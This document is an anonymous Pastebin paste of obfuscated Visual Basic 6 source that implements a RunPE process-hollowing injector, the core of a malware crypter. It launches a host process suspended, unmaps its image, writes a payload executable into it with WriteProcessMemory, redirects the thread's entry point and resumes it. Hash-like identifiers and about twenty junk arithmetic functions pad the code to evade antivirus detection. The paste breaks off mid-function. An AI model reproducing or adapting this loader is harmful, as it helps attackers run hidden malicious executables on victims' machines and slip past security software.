Advertisement
Guest User

Untitled

a guest
Sep 25th, 2017
51
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Option Private Module
  2. Private Const af6d2ecb8794e6b26404291b11e1e48d8966f3222a4f91fc6b96637a397416842 As Long = &H10007
  3. Private Const a3de54f447905f212fa466a283498910cd228dcf1b8cb529dd06b5c5c12b174eb As Integer = 260
  4. Private Const a3b26d155f6fed57e2dce724038e975420d1dbfd853747c6926d4d902701a963c As Long = &H4
  5. Private Const a11255f018715200bc7f244c3a5790e7af78ef0b6e2b54269cbdff6739633ca3b As Long = &H1000
  6. Private Const a40305a1b67ca69d41c211b25215cc1cb2f9f6c52197aa8b384007794d538a3df As Long = &H2000
  7. Private Const af9a817cfdc64806909eaaf39478af3e9764ad677aa28f13be8cec790e09fdbd3 As Long = &H40
  8.  
  9. Private Declare Function a036232e50575eb3f52cfb0c051d6152ea29433414e7f83330b49c304dc2454ff Lib "kernel32" Alias "CreateProcessA" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As a2dc0c6a080bb32134a6fbf8ef8d6cb9a0a25e177776bcdcebb9fd0369472de9f, lpProcessInformation As aef90506cf73654f674795914987fa72342be99e9f0e71257e60024394b9e2ec2) As Long
  10. Private Declare Function ac679907fd8a3b62c9b285255189a9787522ebdcad603903c24d81f627a489676 Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, lpBaseAddress As Any, bvBuff As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
  11. Private Declare Function aec9212e7c4035122680d10b1464cc5ea11aba5bb53c4328c4b38f0ea859c6e60 Lib "kernel32" Alias "OutputDebugStringA" (ByVal lpOutputString As String) As Long
  12.  
  13. Public Declare Sub RtlMoveMemory Lib "kernel32" (Dest As Any, Src As Any, ByVal L As Long)
  14. Private Declare Function aba69d5522fe7f92fa890920c5dc7170f3a9f7dcdd2b751028bf025ed5e5edcfb Lib "user32" Alias "CallWindowProcA" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
  15. Private Declare Function a74076a90892026ae6000814c4ea120ed0f3475b42af83f6d05bccd9c0f11968a Lib "kernel32" Alias "GetProcAddress" (ByVal hModule As Long, ByVal lpProcName As String) As Long
  16. Private Declare Function a32b5e443157ae2edb5481242eef426dbe2ff89a65adfed83fd75baae151f7a5c Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
  17.  
  18. Private Type afe0b9eb7fc1881a43410f45888b5be0e81694d009aa83c1758e0229301cdb064
  19. nLength As Long
  20. lpSecurityDescriptor As Long
  21. bInheritHandle As Long
  22. End Type
  23.  
  24. Private Type a2dc0c6a080bb32134a6fbf8ef8d6cb9a0a25e177776bcdcebb9fd0369472de9f
  25. cb As Long
  26. lpReserved As Long
  27. lpDesktop As Long
  28. lpTitle As Long
  29. dwX As Long
  30. dwY As Long
  31. dwXSize As Long
  32. dwYSize As Long
  33. dwXCountChars As Long
  34. dwYCountChars As Long
  35. dwFillAttribute As Long
  36. dwFlags As Long
  37. wShowWindow As Integer
  38. cbReserved2 As Integer
  39. lpReserved2 As Long
  40. hStdInput As Long
  41. hStdOutput As Long
  42. hStdError As Long
  43. End Type
  44.  
  45. Private Type aef90506cf73654f674795914987fa72342be99e9f0e71257e60024394b9e2ec2
  46. hProcess As Long
  47. hThread As Long
  48. dwProcessId As Long
  49. dwThreadID As Long
  50. End Type
  51.  
  52. Private Type a1d04a7b7124c4ff4aa8888013b00d90017e23baa2bfb639b91be1278e2e3d1b9
  53. ControlWord As Long
  54. StatusWord As Long
  55. TagWord As Long
  56. ErrorOffset As Long
  57. ErrorSelector As Long
  58. DataOffset As Long
  59. DataSelector As Long
  60. RegisterArea(1 To 80) As Byte
  61. Cr0NpxState As Long
  62. End Type
  63.  
  64. Private Type abd014bbc7ecdf339f2c073a6dd3650f7ed3fc43a359fabcdf5f122d2499a73f0
  65. ContextFlags As Long
  66.  
  67. Dr0 As Long
  68. Dr1 As Long
  69. Dr2 As Long
  70. Dr3 As Long
  71. Dr6 As Long
  72. Dr7 As Long
  73.  
  74. FloatSave As a1d04a7b7124c4ff4aa8888013b00d90017e23baa2bfb639b91be1278e2e3d1b9
  75. SegGs As Long
  76. SegFs As Long
  77. SegEs As Long
  78. SegDs As Long
  79. Edi As Long
  80. Esi As Long
  81. Ebx As Long
  82. Edx As Long
  83. Ecx As Long
  84. Eax As Long
  85. Ebp As Long
  86. Eip As Long
  87. SegCs As Long
  88. EFlags As Long
  89. Esp As Long
  90. SegSs As Long
  91. End Type
  92.  
  93. Private Type a5f885843e523802bccb4a5de4996a0b430f277ee6a030974e758538a24e47ec3
  94. e_magic As Integer
  95. e_cblp As Integer
  96. e_cp As Integer
  97. e_crlc As Integer
  98. e_cparhdr As Integer
  99. e_minalloc As Integer
  100. e_maxalloc As Integer
  101. e_ss As Integer
  102. e_sp As Integer
  103. e_csum As Integer
  104. e_ip As Integer
  105. e_cs As Integer
  106. e_lfarlc As Integer
  107. e_ovno As Integer
  108. e_res(0 To 3) As Integer
  109. e_oemid As Integer
  110. e_oeminfo As Integer
  111. e_res2(0 To 9) As Integer
  112. e_lfanew As Long
  113. End Type
  114. Private Type a9b096b5399a053982a395c54dc0601a7313df792cefbab4b065871732c958c05
  115. Machine As Integer
  116. NumberOfSections As Integer
  117. TimeDateStamp As Long
  118. PointerToSymbolTable As Long
  119. NumberOfSymbols As Long
  120. SizeOfOptionalHeader As Integer
  121. characteristics As Integer
  122. End Type
  123.  
  124. Private Type a9ecc41961a74477549528653da6011cd3f4ba3828fd072abf69f659e5e855e0b
  125. VirtualAddress As Long
  126. Size As Long
  127. End Type
  128.  
  129. Private Type a6c7f529226b0ecaefdcaec3e4878ad703c9a68af54c83469293bb6346aecfa33
  130. Magic As Integer
  131. MajorLinkerVersion As Byte
  132. MinorLinkerVersion As Byte
  133. SizeOfCode As Long
  134. SizeOfInitializedData As Long
  135. SizeOfUnitializedData As Long
  136. AddressOfEntryPoint As Long
  137. BaseOfCode As Long
  138. BaseOfData As Long
  139. ImageBase As Long
  140. SectionAlignment As Long
  141. FileAlignment As Long
  142. MajorOperatingSystemVersion As Integer
  143. MinorOperatingSystemVersion As Integer
  144. MajorImageVersion As Integer
  145. MinorImageVersion As Integer
  146. MajorSubsystemVersion As Integer
  147. MinorSubsystemVersion As Integer
  148. W32VersionValue As Long
  149. SizeOfImage As Long
  150. SizeOfHeaders As Long
  151. CheckSum As Long
  152. SubSystem As Integer
  153. DllCharacteristics As Integer
  154. SizeOfStackReserve As Long
  155. SizeOfStackCommit As Long
  156. SizeOfHeapReserve As Long
  157. SizeOfHeapCommit As Long
  158. LoaderFlags As Long
  159. NumberOfRvaAndSizes As Long
  160. DataDirectory(0 To 15) As a9ecc41961a74477549528653da6011cd3f4ba3828fd072abf69f659e5e855e0b
  161. End Type
  162.  
  163. Private Type a66f4327a4e93d73ebfe429e5df76ad4eb902f81a33b0b574fbeba277fc5a03f8
  164. Signature As Long
  165. FileHeader As a9b096b5399a053982a395c54dc0601a7313df792cefbab4b065871732c958c05
  166. OptionalHeader As a6c7f529226b0ecaefdcaec3e4878ad703c9a68af54c83469293bb6346aecfa33
  167. End Type
  168.  
  169. Private Type a64b666f42aab15b6f6957bedae03b02d5d86b28311ebfda606f7b24e4bbe359f
  170. SecName As String * 8
  171. VirtualSize As Long
  172. VirtualAddress As Long
  173. SizeOfRawData As Long
  174. PointerToRawData As Long
  175. PointerToRelocations As Long
  176. PointerToLinenumbers As Long
  177. NumberOfRelocations As Integer
  178. NumberOfLinenumbers As Integer
  179. characteristics As Long
  180. End Type
  181.  
  182. Private Function CallAPI(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
  183. Dim lPtr As Long
  184. Dim bvASM(&HEC00& - 1) As Byte
  185. Dim i As Long
  186. Dim lMod As Long
  187.  
  188. lMod = a74076a90892026ae6000814c4ea120ed0f3475b42af83f6d05bccd9c0f11968a(a32b5e443157ae2edb5481242eef426dbe2ff89a65adfed83fd75baae151f7a5c(sLib), sMod)
  189. If lMod = 0 Then Exit Function
  190.  
  191. lPtr = VarPtr(bvASM(0))
  192. RtlMoveMemory ByVal lPtr, &H59595958, &H4: lPtr = lPtr + 4
  193. RtlMoveMemory ByVal lPtr, &H5059, &H2: lPtr = lPtr + 2
  194. For i = UBound(Params) To 0 Step -1
  195. RtlMoveMemory ByVal lPtr, &H68, &H1: lPtr = lPtr + 1
  196. RtlMoveMemory ByVal lPtr, CLng(Params(i)), &H4: lPtr = lPtr + 4
  197. Next
  198. RtlMoveMemory ByVal lPtr, &HE8, &H1: lPtr = lPtr + 1
  199. RtlMoveMemory ByVal lPtr, lMod - lPtr - 4, &H4: lPtr = lPtr + 4
  200. RtlMoveMemory ByVal lPtr, &HC3, &H1: lPtr = lPtr + 1
  201. CallAPI = aba69d5522fe7f92fa890920c5dc7170f3a9f7dcdd2b751028bf025ed5e5edcfb(VarPtr(bvASM(0)), 0, 0, 0, 0)
  202. End Function
  203.  
  204. Sub Injec(ByVal sHost As String, ByRef bvBuff() As Byte, parameter As String)
  205. Dim i As Long
  206. Dim Pidh As a5f885843e523802bccb4a5de4996a0b430f277ee6a030974e758538a24e47ec3
  207. Dim Pinh As a66f4327a4e93d73ebfe429e5df76ad4eb902f81a33b0b574fbeba277fc5a03f8
  208. Dim Pish As a64b666f42aab15b6f6957bedae03b02d5d86b28311ebfda606f7b24e4bbe359f
  209. Dim Si As a2dc0c6a080bb32134a6fbf8ef8d6cb9a0a25e177776bcdcebb9fd0369472de9f
  210. Dim Pi As aef90506cf73654f674795914987fa72342be99e9f0e71257e60024394b9e2ec2
  211. Dim Ctx As abd014bbc7ecdf339f2c073a6dd3650f7ed3fc43a359fabcdf5f122d2499a73f0
  212.  
  213. Si.cb = Len(Si)
  214.  
  215. RtlMoveMemory Pidh, bvBuff(0), 64
  216. RtlMoveMemory Pinh, bvBuff(Pidh.e_lfanew), 248
  217.  
  218. a036232e50575eb3f52cfb0c051d6152ea29433414e7f83330b49c304dc2454ff sHost, " " & parameter, 0, 0, False, a3b26d155f6fed57e2dce724038e975420d1dbfd853747c6926d4d902701a963c, 0, 0, Si, Pi
  219. CallAPI "ntdll", "NtUnmapViewOfSection", Pi.hProcess, Pinh.OptionalHeader.ImageBase
  220. CallAPI "kernel32", "VirtualAllocEx", Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, a11255f018715200bc7f244c3a5790e7af78ef0b6e2b54269cbdff6739633ca3b Or a40305a1b67ca69d41c211b25215cc1cb2f9f6c52197aa8b384007794d538a3df, af9a817cfdc64806909eaaf39478af3e9764ad677aa28f13be8cec790e09fdbd3
  221. ac679907fd8a3b62c9b285255189a9787522ebdcad603903c24d81f627a489676 Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase, bvBuff(0), Pinh.OptionalHeader.SizeOfHeaders, 0
  222.  
  223. For i = 0 To Pinh.FileHeader.NumberOfSections - 1
  224. RtlMoveMemory Pish, bvBuff(Pidh.e_lfanew + 248 + 40 * i), Len(Pish)
  225. ac679907fd8a3b62c9b285255189a9787522ebdcad603903c24d81f627a489676 Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, bvBuff(Pish.PointerToRawData), Pish.SizeOfRawData, 0
  226. Next i
  227.  
  228. Ctx.ContextFlags = af6d2ecb8794e6b26404291b11e1e48d8966f3222a4f91fc6b96637a397416842
  229. CallAPI "kernel32", "GetThreadContext", Pi.hThread, VarPtr(Ctx)
  230. ac679907fd8a3b62c9b285255189a9787522ebdcad603903c24d81f627a489676 Pi.hProcess, ByVal Ctx.Ebx + 8, Pinh.OptionalHeader.ImageBase, 4, 0
  231. Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
  232. CallAPI "kernel32", "SetThreadContext", Pi.hThread, VarPtr(Ctx)
  233. CallAPI "kernel32", "ResumeThread", Pi.hThread
  234. End Sub
  235.  
  236. Public Function a910f99255ac229dda39ebff6bac8a3d5938f9f53c935d7046e39860b6ef3ec18(ByVal sStr As String) As Byte()
  237. Dim i As Long
  238. Dim Buffer() As Byte
  239. ReDim Buffer(Len(sStr) - 1)
  240. For i = 1 To Len(sStr)
  241. Buffer(i - 1) = Asc(Mid(sStr, i, 1))
  242. Next i
  243. a910f99255ac229dda39ebff6bac8a3d5938f9f53c935d7046e39860b6ef3ec18 = Buffer
  244. End Function
  245.  
  246. Public Function a1fabe7095329621ecbf932cd4ef1230578e9f0314163c0015d6d35fce9470b8d() As String
  247. Dim lRet As Long
  248. Dim bvBuff(255) As Byte
  249. lRet = CallAPI("kernel32", "GetModuleFileNameA", App.hInstance, VarPtr(bvBuff(0)), 256)
  250. a1fabe7095329621ecbf932cd4ef1230578e9f0314163c0015d6d35fce9470b8d = Left$(StrConv(bvBuff, vbUnicode), lRet)
  251. End Function
  252.  
  253. Private Function ynDxBbq0715j74NRxAXG4L5JL394()
  254. Dim E6L97ox253Fe445FD552oWfBvLB9291 As Long
  255. Dim E683263820712v4f0C2In9C9EDu1s2T2aA081 As Long
  256. Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m31 As Long
  257. Dim ebBw048776C5Ewv833oNV5112OEnD404pOD1 As Long
  258. Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz21 As String
  259. E6L97ox253Fe445FD552oWfBvLB9291 = 4751267842#
  260. E683263820712v4f0C2In9C9EDu1s2T2aA081 = 471024
  261. Ta3gFOFJ3C4252t9O848J18W4Dc58m31 = 74412457
  262. ebBw048776C5Ewv833oNV5112OEnD404pOD1 = E6L97ox253Fe445FD552oWfBvLB9291 * E683263820712v4f0C2In9C9EDu1s2T2aA081 / Ta3gFOFJ3C4252t9O848J18W4Dc58m31
  263. End Function
  264. Private Function Wc8CCao136Ar762Ar0hI0x6BP808()
  265. Dim E6L97ox253Fe445FD552oWfBvLB9292 As Long
  266. Dim E683263820712v4f0C2In9C9EDu1s2T2aA082 As Long
  267. Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m32 As Long
  268. Dim ebBw048776C5Ewv833oNV5112OEnD404pOD2 As Long
  269. Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz22 As String
  270. E6L97ox253Fe445FD552oWfBvLB9292 = 4751267842#
  271. E683263820712v4f0C2In9C9EDu1s2T2aA082 = 471024
  272. Ta3gFOFJ3C4252t9O848J18W4Dc58m32 = 74412457
  273. ebBw048776C5Ewv833oNV5112OEnD404pOD2 = E6L97ox253Fe445FD552oWfBvLB9292 * E683263820712v4f0C2In9C9EDu1s2T2aA082 / Ta3gFOFJ3C4252t9O848J18W4Dc58m32
  274. End Function
  275. Private Function OV6m4CdA883NCBUQe4yv6p9km725()
  276. Dim E6L97ox253Fe445FD552oWfBvLB9293 As Long
  277. Dim E683263820712v4f0C2In9C9EDu1s2T2aA083 As Long
  278. Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m33 As Long
  279. Dim ebBw048776C5Ewv833oNV5112OEnD404pOD3 As Long
  280. Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz23 As String
  281. E6L97ox253Fe445FD552oWfBvLB9293 = 4751267842#
  282. E683263820712v4f0C2In9C9EDu1s2T2aA083 = 471024
  283. Ta3gFOFJ3C4252t9O848J18W4Dc58m33 = 74412457
  284. ebBw048776C5Ewv833oNV5112OEnD404pOD3 = E6L97ox253Fe445FD552oWfBvLB9293 * E683263820712v4f0C2In9C9EDu1s2T2aA083 / Ta3gFOFJ3C4252t9O848J18W4Dc58m33
  285. End Function
  286. Private Function iu4X5mPB544V921tE7Ig3E6Fd147()
  287. Dim E6L97ox253Fe445FD552oWfBvLB9294 As Long
  288. Dim E683263820712v4f0C2In9C9EDu1s2T2aA084 As Long
  289. Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m34 As Long
  290. Dim ebBw048776C5Ewv833oNV5112OEnD404pOD4 As Long
  291. Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz24 As String
  292. E6L97ox253Fe445FD552oWfBvLB9294 = 4751267842#
  293. E683263820712v4f0C2In9C9EDu1s2T2aA084 = 471024
  294. Ta3gFOFJ3C4252t9O848J18W4Dc58m34 = 74412457
  295. ebBw048776C5Ewv833oNV5112OEnD404pOD4 = E6L97ox253Fe445FD552oWfBvLB9294 * E683263820712v4f0C2In9C9EDu1s2T2aA084 / Ta3gFOFJ3C4252t9O848J18W4Dc58m34
  296. End Function
  297. Private Function Z3BY6yPC856T5ABZqFef4064N291()
  298. Dim E6L97ox253Fe445FD552oWfBvLB9295 As Long
  299. Dim E683263820712v4f0C2In9C9EDu1s2T2aA085 As Long
  300. Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m35 As Long
  301. Dim ebBw048776C5Ewv833oNV5112OEnD404pOD5 As Long
  302. Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz25 As String
  303. E6L97ox253Fe445FD552oWfBvLB9295 = 4751267842#
  304. E683263820712v4f0C2In9C9EDu1s2T2aA085 = 471024
  305. Ta3gFOFJ3C4252t9O848J18W4Dc58m35 = 74412457
  306. ebBw048776C5Ewv833oNV5112OEnD404pOD5 = E6L97ox253Fe445FD552oWfBvLB9295 * E683263820712v4f0C2In9C9EDu1s2T2aA085 / Ta3gFOFJ3C4252t9O848J18W4Dc58m35
  307. End Function
  308. Private Function MQ5xCof2595M89jOr7zD9h1GR733()
  309. Dim E6L97ox253Fe445FD552oWfBvLB9296 As Long
  310. Dim E683263820712v4f0C2In9C9EDu1s2T2aA086 As Long
  311. Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m36 As Long
  312. Dim ebBw048776C5Ewv833oNV5112OEnD404pOD6 As Long
  313. Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz26 As String
  314. E6L97ox253Fe445FD552oWfBvLB9296 = 4751267842#
  315. E683263820712v4f0C2In9C9EDu1s2T2aA086 = 471024
  316. Ta3gFOFJ3C4252t9O848J18W4Dc58m36 = 74412457
  317. ebBw048776C5Ewv833oNV5112OEnD404pOD6 = E6L97ox253Fe445FD552oWfBvLB9296 * E683263820712v4f0C2In9C9EDu1s2T2aA086 / Ta3gFOFJ3C4252t9O848J18W4Dc58m36
  318. End Function
  319. Private Function GP5y7CjE14Be10wwu1ZE947Qp320()
  320. Dim E6L97ox253Fe445FD552oWfBvLB9297 As Long
  321. Dim E683263820712v4f0C2In9C9EDu1s2T2aA087 As Long
  322. Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m37 As Long
  323. Dim ebBw048776C5Ewv833oNV5112OEnD404pOD7 As Long
  324. Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz27 As String
  325. E6L97ox253Fe445FD552oWfBvLB9297 = 4751267842#
  326. E683263820712v4f0C2In9C9EDu1s2T2aA087 = 471024
  327. Ta3gFOFJ3C4252t9O848J18W4Dc58m37 = 74412457
  328. ebBw048776C5Ewv833oNV5112OEnD404pOD7 = E6L97ox253Fe445FD552oWfBvLB9297 * E683263820712v4f0C2In9C9EDu1s2T2aA087 / Ta3gFOFJ3C4252t9O848J18W4Dc58m37
  329. End Function
  330. Private Function TA4D5ZXB23BM19zMF0pz1hFcD882()
  331. Dim E6L97ox253Fe445FD552oWfBvLB9298 As Long
  332. Dim E683263820712v4f0C2In9C9EDu1s2T2aA088 As Long
  333. Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m38 As Long
  334. Dim ebBw048776C5Ewv833oNV5112OEnD404pOD8 As Long
  335. Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz28 As String
  336. E6L97ox253Fe445FD552oWfBvLB9298 = 4751267842#
  337. E683263820712v4f0C2In9C9EDu1s2T2aA088 = 471024
  338. Ta3gFOFJ3C4252t9O848J18W4Dc58m38 = 74412457
  339. ebBw048776C5Ewv833oNV5112OEnD404pOD8 = E6L97ox253Fe445FD552oWfBvLB9298 * E683263820712v4f0C2In9C9EDu1s2T2aA088 / Ta3gFOFJ3C4252t9O848J18W4Dc58m38
  340. End Function
  341. Private Function uuCF6nZ3410XB0oxO9lq9vBkD280()
  342. Dim E6L97ox253Fe445FD552oWfBvLB9299 As Long
  343. Dim E683263820712v4f0C2In9C9EDu1s2T2aA089 As Long
  344. Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m39 As Long
  345. Dim ebBw048776C5Ewv833oNV5112OEnD404pOD9 As Long
  346. Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz29 As String
  347. E6L97ox253Fe445FD552oWfBvLB9299 = 4751267842#
  348. E683263820712v4f0C2In9C9EDu1s2T2aA089 = 471024
  349. Ta3gFOFJ3C4252t9O848J18W4Dc58m39 = 74412457
  350. ebBw048776C5Ewv833oNV5112OEnD404pOD9 = E6L97ox253Fe445FD552oWfBvLB9299 * E683263820712v4f0C2In9C9EDu1s2T2aA089 / Ta3gFOFJ3C4252t9O848J18W4Dc58m39
  351. End Function
  352. Private Function IE3M6MZE343CFFymt1sI0028g188()
  353. Dim E6L97ox253Fe445FD552oWfBvLB92910 As Long
  354. Dim E683263820712v4f0C2In9C9EDu1s2T2aA0810 As Long
  355. Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m310 As Long
  356. Dim ebBw048776C5Ewv833oNV5112OEnD404pOD10 As Long
  357. Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz210 As String
  358. E6L97ox253Fe445FD552oWfBvLB92910 = 4751267842#
  359. E683263820712v4f0C2In9C9EDu1s2T2aA0810 = 471024
  360. Ta3gFOFJ3C4252t9O848J18W4Dc58m310 = 74412457
  361. ebBw048776C5Ewv833oNV5112OEnD404pOD10 = E6L97ox253Fe445FD552oWfBvLB92910 * E683263820712v4f0C2In9C9EDu1s2T2aA0810 / Ta3gFOFJ3C4252t9O848J18W4Dc58m310
  362. End Function
  363. Private Function MpCcEoC3802D67xfY1gM7Z9EA793()
  364. Dim E6L97ox253Fe445FD552oWfBvLB92911 As Long
  365. Dim E683263820712v4f0C2In9C9EDu1s2T2aA0811 As Long
  366. Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m311 As Long
  367. Dim ebBw048776C5Ewv833oNV5112OEnD404pOD11 As Long
  368. Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz211 As String
  369. E6L97ox253Fe445FD552oWfBvLB92911 = 4751267842#
  370. E683263820712v4f0C2In9C9EDu1s2T2aA0811 = 471024
  371. Ta3gFOFJ3C4252t9O848J18W4Dc58m311 = 74412457
  372. ebBw048776C5Ewv833oNV5112OEnD404pOD11 = E6L97ox253Fe445FD552oWfBvLB92911 * E683263820712v4f0C2In9C9EDu1s2T2aA0811 / Ta3gFOFJ3C4252t9O848J18W4Dc58m311
  373. End Function
  374. Private Function KO7A1Nh6348cCCfQi8ZF5H4jt818()
  375. Dim E6L97ox253Fe445FD552oWfBvLB92912 As Long
  376. Dim E683263820712v4f0C2In9C9EDu1s2T2aA0812 As Long
  377. Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m312 As Long
  378. Dim ebBw048776C5Ewv833oNV5112OEnD404pOD12 As Long
  379. Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz212 As String
  380. E6L97ox253Fe445FD552oWfBvLB92912 = 4751267842#
  381. E683263820712v4f0C2In9C9EDu1s2T2aA0812 = 471024
  382. Ta3gFOFJ3C4252t9O848J18W4Dc58m312 = 74412457
  383. ebBw048776C5Ewv833oNV5112OEnD404pOD12 = E6L97ox253Fe445FD552oWfBvLB92912 * E683263820712v4f0C2In9C9EDu1s2T2aA0812 / Ta3gFOFJ3C4252t9O848J18W4Dc58m312
  384. End Function
  385. Private Function mnDn5vp2223c846OsCUPCh8pO344()
  386. Dim E6L97ox253Fe445FD552oWfBvLB92913 As Long
  387. Dim E683263820712v4f0C2In9C9EDu1s2T2aA0813 As Long
  388. Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m313 As Long
  389. Dim ebBw048776C5Ewv833oNV5112OEnD404pOD13 As Long
  390. Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz213 As String
  391. E6L97ox253Fe445FD552oWfBvLB92913 = 4751267842#
  392. E683263820712v4f0C2In9C9EDu1s2T2aA0813 = 471024
  393. Ta3gFOFJ3C4252t9O848J18W4Dc58m313 = 74412457
  394. ebBw048776C5Ewv833oNV5112OEnD404pOD13 = E6L97ox253Fe445FD552oWfBvLB92913 * E683263820712v4f0C2In9C9EDu1s2T2aA0813 / Ta3gFOFJ3C4252t9O848J18W4Dc58m313
  395. End Function
  396. Private Function BXBiBAj7172W23OaZ2ed2Y9nF334()
  397. Dim E6L97ox253Fe445FD552oWfBvLB92914 As Long
  398. Dim E683263820712v4f0C2In9C9EDu1s2T2aA0814 As Long
  399. Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m314 As Long
  400. Dim ebBw048776C5Ewv833oNV5112OEnD404pOD14 As Long
  401. Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz214 As String
  402. E6L97ox253Fe445FD552oWfBvLB92914 = 4751267842#
  403. E683263820712v4f0C2In9C9EDu1s2T2aA0814 = 471024
  404. Ta3gFOFJ3C4252t9O848J18W4Dc58m314 = 74412457
  405. ebBw048776C5Ewv833oNV5112OEnD404pOD14 = E6L97ox253Fe445FD552oWfBvLB92914 * E683263820712v4f0C2In9C9EDu1s2T2aA0814 / Ta3gFOFJ3C4252t9O848J18W4Dc58m314
  406. End Function
  407. Private Function nL0aEzm7522Z8F1CV9ay15Bkj080()
  408. Dim E6L97ox253Fe445FD552oWfBvLB92915 As Long
  409. Dim E683263820712v4f0C2In9C9EDu1s2T2aA0815 As Long
  410. Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m315 As Long
  411. Dim ebBw048776C5Ewv833oNV5112OEnD404pOD15 As Long
  412. Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz215 As String
  413. E6L97ox253Fe445FD552oWfBvLB92915 = 4751267842#
  414. E683263820712v4f0C2In9C9EDu1s2T2aA0815 = 471024
  415. Ta3gFOFJ3C4252t9O848J18W4Dc58m315 = 74412457
  416. ebBw048776C5Ewv833oNV5112OEnD404pOD15 = E6L97ox253Fe445FD552oWfBvLB92915 * E683263820712v4f0C2In9C9EDu1s2T2aA0815 / Ta3gFOFJ3C4252t9O848J18W4Dc58m315
  417. End Function
  418. Private Function gBFp5El3615hABITo7GG6mDje564()
  419. Dim E6L97ox253Fe445FD552oWfBvLB92916 As Long
  420. Dim E683263820712v4f0C2In9C9EDu1s2T2aA0816 As Long
  421. Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m316 As Long
  422. Dim ebBw048776C5Ewv833oNV5112OEnD404pOD16 As Long
  423. Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz216 As String
  424. E6L97ox253Fe445FD552oWfBvLB92916 = 4751267842#
  425. E683263820712v4f0C2In9C9EDu1s2T2aA0816 = 471024
  426. Ta3gFOFJ3C4252t9O848J18W4Dc58m316 = 74412457
  427. ebBw048776C5Ewv833oNV5112OEnD404pOD16 = E6L97ox253Fe445FD552oWfBvLB92916 * E683263820712v4f0C2In9C9EDu1s2T2aA0816 / Ta3gFOFJ3C4252t9O848J18W4Dc58m316
  428. End Function
  429. Private Function pNED5Uw6435c245PoDRo7C4zo899()
  430. Dim E6L97ox253Fe445FD552oWfBvLB92917 As Long
  431. Dim E683263820712v4f0C2In9C9EDu1s2T2aA0817 As Long
  432. Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m317 As Long
  433. Dim ebBw048776C5Ewv833oNV5112OEnD404pOD17 As Long
  434. Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz217 As String
  435. E6L97ox253Fe445FD552oWfBvLB92917 = 4751267842#
  436. E683263820712v4f0C2In9C9EDu1s2T2aA0817 = 471024
  437. Ta3gFOFJ3C4252t9O848J18W4Dc58m317 = 74412457
  438. ebBw048776C5Ewv833oNV5112OEnD404pOD17 = E6L97ox253Fe445FD552oWfBvLB92917 * E683263820712v4f0C2In9C9EDu1s2T2aA0817 / Ta3gFOFJ3C4252t9O848J18W4Dc58m317
  439. End Function
  440. Private Function v2Ab0Oj7215tC8qyj1ke0G8UA653()
  441. Dim E6L97ox253Fe445FD552oWfBvLB92918 As Long
  442. Dim E683263820712v4f0C2In9C9EDu1s2T2aA0818 As Long
  443. Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m318 As Long
  444. Dim ebBw048776C5Ewv833oNV5112OEnD404pOD18 As Long
  445. Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz218 As String
  446. E6L97ox253Fe445FD552oWfBvLB92918 = 4751267842#
  447. E683263820712v4f0C2In9C9EDu1s2T2aA0818 = 471024
  448. Ta3gFOFJ3C4252t9O848J18W4Dc58m318 = 74412457
  449. ebBw048776C5Ewv833oNV5112OEnD404pOD18 = E6L97ox253Fe445FD552oWfBvLB92918 * E683263820712v4f0C2In9C9EDu1s2T2aA0818 / Ta3gFOFJ3C4252t9O848J18W4Dc58m318
  450. End Function
  451.  
  452.  
  453. Public Function Nd474oMA6NiE2()
  454. Dim e38v3FtB531rIC1v As String
  455. Dim G46bmElvn6403UCC48 As Long
